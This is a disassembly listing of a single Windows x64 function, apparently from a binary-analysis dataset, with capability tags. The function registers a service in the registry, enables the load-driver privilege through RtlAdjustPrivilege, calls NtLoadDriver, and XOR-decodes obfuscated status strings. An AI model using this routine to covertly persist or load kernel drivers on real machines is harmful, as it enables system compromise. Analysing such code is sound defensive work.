Function at 0x140078750
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x1406a0188]
xor rax, rsp
mov qword [rbp + 0xa0], rax
mov rbx, rcx
lea rcx, [rbp + 0x70]
call fcn.140074860
nop
lea r8, [rbp + 0x70]
lea rdx, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp + 0x50]
call fcn.140078640
nop
mov r8, rbx
lea rdx, [0x140163be8]
lea rcx, [rbp + 0x10]
call fcn.140078640
nop
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 8
cmovae rdx, qword [rbp + 0x50]
lea r8, [rbp]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
xor edi, edi
test eax, eax
je 0x140078800
movdqa xmm0, xmmword [0x140163e70]
mov dword [rbp - 0x20], 0x65732065
mov dword [rbp - 0x1c], 0x63697672
mov dword [rbp - 0x18], 0x656b2065
mov word [rbp - 0x14], 0x79
jmp 0x140078875
mov eax, dword [rbp + 0x20]
add eax, eax
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 8
cmovae rcx, qword [rbp + 0x10]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
lea r8, str.ImagePath
xor edx, edx
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp]
test eax, eax
je 0x1400788e6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movdqa xmm0, xmmword [0x140163e80]
movdqa xmm1, xmmword [0x140163de0]
mov dword [rbp - 0x10], 0x74736967
mov dword [rbp - 0xc], 0x76207972
mov dword [rbp - 8], 0x65756c61
mov byte [rbp - 4], dil
movdqu xmmword [rbp - 0x20], xmm1
movdqu xmmword [rbp - 0x30], xmm0
lea rdx, [rbp - 0x2f]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140070910
lea rdx, [0x1400725c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor bl, bl
mov rdx, qword [rbp + 0x28]
cmp rdx, 8
jb 0x140078dcb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140078dc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140078dc6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rsp + 0x28], 4
lea rax, [0x140163b98]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [0x140163c10]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp]
test eax, eax
je 0x140078940
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movdqa xmm0, xmmword [0x140163e90]
movdqa xmm1, xmmword [0x140163e40]
mov dword [rbp - 0x10], 0x61762079
mov dword [rbp - 0xc], 0x65756c
jmp 0x140078870
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x14015a5f0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x14007889a
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.NtLoadDriver
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea r9, [rbp + 8]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0xa]
call rbx
test eax, eax
jns 0x140078afd
movdqa xmm0, xmmword [0x140163d50]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140163da0]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x140163d70]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140163d20]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x140163d30]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140163d10]
movdqa xmmword [rbp - 0x80], xmm1
mov dword [rbp - 0x70], 0xc110a1f
mov word [rbp - 0x6c], 0x50
mov rdx, rdi
nop
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x31], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x32], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x33], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x34], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x35], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x36], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x37], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x38], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x39], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3a], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3b], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3c], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3d], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3e], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3f], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x40], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x41], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x42], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x43], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x44], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x45], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x46], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x47], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x48], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x49], al
add rdx, 0x19
cmp rdx, 0x64
jb 0x140078a00
mov byte [rbp - 0x6b], dil
lea rdx, [rsp + 0x31]
jmp 0x14007887e
lea r8, [rbp + 0x70]
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x30]
call fcn.140078640
nop
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 8
cmovae rdx, qword [rbp + 0x30]
lea rcx, [rbp + 0x90]
call sub.ntdll.dll_RtlInitUnicodeString
lea rcx, [rbp + 0x90]
call rsi
mov ebx, eax
xor edi, edi
cmp eax, 0xc0000603
jne 0x140078d9f
movdqa xmm0, xmmword [0x140163ea0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140163eb0]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x140163e20]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140163e00]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x140163e30]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140163e10]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x140163dd0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140163db0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x140163df0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [str.g_fajc_kfyj]
movdqa xmmword [rbp - 0x40], xmm1
mov edx, edi
nop dword [rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x31], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x32], al
add rdx, 2
cmp rdx, 0x9e
jb 0x140078bd0
mov byte [rbp - 0x31], dil
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140070910
lea rdx, [0x1400725c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
movdqa xmm0, xmmword [0x140163cf0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x140163d40]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [0x140163ce0]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140163d80]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [str._20._0298_4______21_:_:_7____.]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [str.__4__2]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x140163d90]
movdqa xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0x1e322d38
mov dword [rbp - 0x5c], 0x1618171f
mov byte [rbp - 0x58], dil
mov rdx, rdi
nop dword [rax]
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x31], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x32], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x33], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x34], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x35], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x36], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x37], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x38], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x39], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3a], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3b], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3c], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3d], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3e], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x3f], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x40], al
movzx eax, byte [rsp + 0x30]
xor byte [rsp + rdx + 0x41], al
add rdx, 0x11
cmp rdx, 0x77
jb 0x140078c90
mov byte [rbp - 0x58], dil
lea rdx, [rsp + 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140070910
lea rdx, [0x1400725c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
test ebx, ebx
setns bl
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x140078db0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140078dab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140078dab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp ebx, 0xc000010e
jne 0x140078d5c
mov bl, 1
jmp 0x140078d61
call fcn.140149858
movdqa xmm0, xmmword [0x140153f10]
movdqu xmmword [rbp + 0x40], xmm0
mov word [rbp + 0x30], di
jmp 0x14007889c
call fcn.140149858
movdqa xmm0, xmmword [0x140153f10]
movdqu xmmword [rbp + 0x20], xmm0
mov word [rbp + 0x10], di
mov rdx, qword [rbp + 0x68]
cmp rdx, 8
jb 0x140078e1f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140078e1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140078e1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140149858
movdqa xmm0, xmmword [0x140153f10]
movdqu xmmword [rbp + 0x60], xmm0
mov word [rbp + 0x50], di
mov rdx, qword [rbp + 0x88]
cmp rdx, 8
jb 0x140078e76
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140078e71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140078e71
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140149858
movzx eax, bl
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140149980
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret